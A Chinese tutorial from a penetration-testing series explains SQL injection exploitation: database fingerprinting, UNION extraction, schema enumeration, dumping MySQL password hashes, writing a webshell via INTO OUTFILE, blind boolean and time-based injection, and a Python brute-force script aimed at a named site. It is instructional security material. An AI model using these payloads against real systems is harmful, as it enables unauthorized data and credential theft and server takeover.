前言
找到SQL注入漏洞后,我们可以用它来干什么呢?那么本篇文章给大家带来的就是SQL注入漏洞利用技术,现在是时候让我们去体验一下漏洞利用的乐趣了。
目录
第三节 利用SQL注入
第四节 SQL盲注利用
正文
3.1、识别数据库
要想发动sql注入攻击,就要知道正在使用的系统数据库,不然就没法提取重要的数据。
首先从Web应用技术上就给我们提供了判断的线索:
Web容器也给我们提供了线索,比如安装IIS作为服务器平台,后台数据及很有可能是Microsoft SQL Server,而允许Apache和PHP的Linux服务器就很有可能使用开源的数据库,比如MySQL和PostgreSQL。
基于错误识别数据库
大多数情况下,要了解后台是什么数据库,只需要看一条详细的错误信息即可。比如判断我们事例中使用的数据库,我们加个单引号。
error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
从错误信息中,我们就可以发现是MySQL。
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:
上面错误信息可以发现是Microsoft SQL Server,如果错误信息开头是ORA,就可以判断数据库是Oracle,很简单,道理都是一样的,就不一一列举了。
基于数字函数推断:
这里以我们搭建的环境为例来做推断:
connection_id()不管它值多少,基本上都是正的,也就是为真,last_insert_id()用法大家自行百度,这里不存在insert语句,默认情况就是返回零,也就是假。
那么如果and connection_id()数据返回正常,and last_insert_id()不返回数据,我们就可以推断这是一个MySQL数据库了。
3.2、UINON语句提取数据
UNION操作符可以合并两条或多条SELECT语句的查询结果,基本语法如下:
select column-1 column-2 from table-1
UNION
select column-1 column-2 from table-2
如果应用程序返回了第一条查询得到的数据,我们就可以在第一条查询后面注入一个UNION运算符来添加一个任意查询,来提取数据,是不是很容易啊,当然在使用UNION之前我们必须要满足两个条件:
首先我来看第一个条件,如何知道第一条查询的列数呢?我们可以使用NULL来尝试,由于NULL值会被转换成任何数据类型,所以我们不用管第二个条件。
就是这样的一个个加上去进行尝试,直到不返回错误。
神奇的ORDER BY子句
除了上述方法,我们还可以是用order by子句得到准确列数
我们先尝试了12,返回错误,说明列数是小于12的,我们继续尝试了6,返回错误,同理,列数小于6的,我们尝试3,返回正常,说明列数是大于等于3的,继续尝试4,返回错误。说明列数是小于4,列数大于等于3,小于4,可以得到列数是3。使用order by子句可以帮助我们快速得到列数。
得到列数后我们还需要满足第二个条件
很简单,只要一次一列使用我们的测试字符串替换NULL即可,可以发现第一列和第二列都可以存放字符串,第三列数据没有输出。
接下来就让我们提取数据库用户名和版本号:
3.3、枚举数据库
这里由于篇幅问题,我们只以MySQL数据库为例了,枚举数据库并提取数据遵循一种层次化的方法,首先我们提取数据库名称,然后提取表,再到列,最后才是数据本身。要想获取远程数据库的表、列,就要访问专门保存描述各种数据库结构的表。通常将这些结构描述信息成为元数据。在MySQL中,这些表都保存在information_schema数据库中
第一步:提取数据库
在MySQL中,数据库名存放在information_schema数据库下schemata表schema_name字段中
id = 1 union select null,schema_name,null from information_schema.schemata
第二步:提取表名
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中
?id=1 union select null,table_name,null from information_schema.tables where table_schema='ichunqiu'
这里我使用where子句来筛选了,只返回数据库ichunqiu下的表名,想返回所有表名,去掉where子句就行了。
第三步:提取字段名
在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中
同样加上where子句限制,不让你都不知道字段名是哪个数据库哪个表下。
第四步:提取数据
这一步就简单了,不再介绍了,看图。
3.4、窃取哈希可令
MySQL在mysql.user表中存储哈希口令,怎么提取看下图:
哈希口令是通过使用PASSWORD()函数计算的:
具体算法取决于MySQL安装的版本。
3.5、获取WebShell
利用SQL注入攻击获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。
select into outfile(dumpfile) //MySQL写文件命令
例如:
select "" into outfile "F:\\www\\test.php";
那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了。
4.1、初识SQL盲注
SQL盲注是指在无法使用详细数据库错误消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞从数据库提取信息或提取与数据库查询相关信息的技术。
1、提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容可被适度控制的页面。
2、提交一个导致SQL查询无效时,会返回一个通用错误页面,提交正确则会返回一个内容不可控的页面。
3、提交受损或不正确的SQL既不会产生错误页面,也不会以任何方式影响页面输出。
4.2、SQL盲注入技术-基于布尔
了解完SQL定义以及这类漏洞的注入场景后,现在我带大家深入研究利用这些漏洞的技术。
首先我们我们提交错误的SQL,看资源是否返回通用的错误页面。
我们能控制页面的输出结果吗?
显然可以:
id=1 and 1=1 True
id=1 and 1=2 False
怎么利用?
在介绍利用技巧之前我们先来介绍一个重要的SQL函数
SUBSTRING(str,pos,len)
没有len参数的形式返回一个字符串从字符串str从位置pos开始。一个len参数的形式返回len个字符长的字符串str的子串,从位置pos开始,形式使用的是标准的SQL语法。另外,也可以使用负的值为pos。在这种情况下,刚开始的子串位置的字符结尾的字符串,而不是开始。负的值可用于为pos在此函数中的任何形式的。
举例利用-获取数据的用户名
id=1 and SUBSTRING(user(),1,1)='a'
#利用SUBSTRING()函数提取用户名的第一个字符,看等于字符a吗?,如果等于页面返回True状态,不等于返回False状态。
id=1 and SUBSTRING(user(),1,1)='r'
#返回True状态,也就是页面正常,表示用户名第一个字符是r
这也就是基于布尔的SQL盲注入技术
4.3、SQL盲注入技术-基于时间
和基于布尔的SQL盲注入技术原理其实大同小异,当某一状态为真时,让响应暂停几秒钟,而当状态为假时,不出现暂停。
废话不多说看技巧利用。
id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null
#注意使用union的条件哦,前面介绍了。同样的道理,提取用户名前四个字符做判断,正确就延迟4秒,错误返回1
4.4、我们的好朋友-Python
使用Python自动化注入获取用户名事例:
MySQL提取用户名进行比较不区分大小写,所以我们去掉其中的大写字母。代码很简单,就不解释了。
import requests
def attack():
print 'launch an attack'
url = 'http://www.isbase.com/sqlbool.php'
user = '[+]system_user: '
zimu1 = range(33,65)
zimu2 = range(91,128)
zimu = zimu1 + zimu2
for l in range(1,16):
for i in zimu:
payload = "and SUBSTRING(user(),"+str(l)+",1)='" + chr(i) + "'"
payload = {'id': '1 ' + payload}
r = requests.get(url, params=payload)
wenben = r.text
wenben = wenben.encode("utf-8")
result = wenben.find("jim")
if(result != -1):
user = user + chr(i)
print user
if __name__ == '__main__':
print 'Author:zusheng'
print 'bbs:ichunqiu.com'
attack()
print '[+]ok'
结束语
从8月8号开始,到现在差不多一个星期了,终于在空余时间完成了这篇文章,感谢大家的支持,写的自己感觉很满意了,但是并不是很完美,希望以后能给大家带来更多精华的文章吧。还有最后一篇高级部分。坚持吧,努力给大家带来更详细更深入的好文。技术有限,如文中有错误请指出,谢谢。
系列文章预告及导航
渗透攻防Web篇-SQL注入攻击初级(状态:已更新)
渗透攻防Web篇-SQL注入攻击高级(状态:已更新)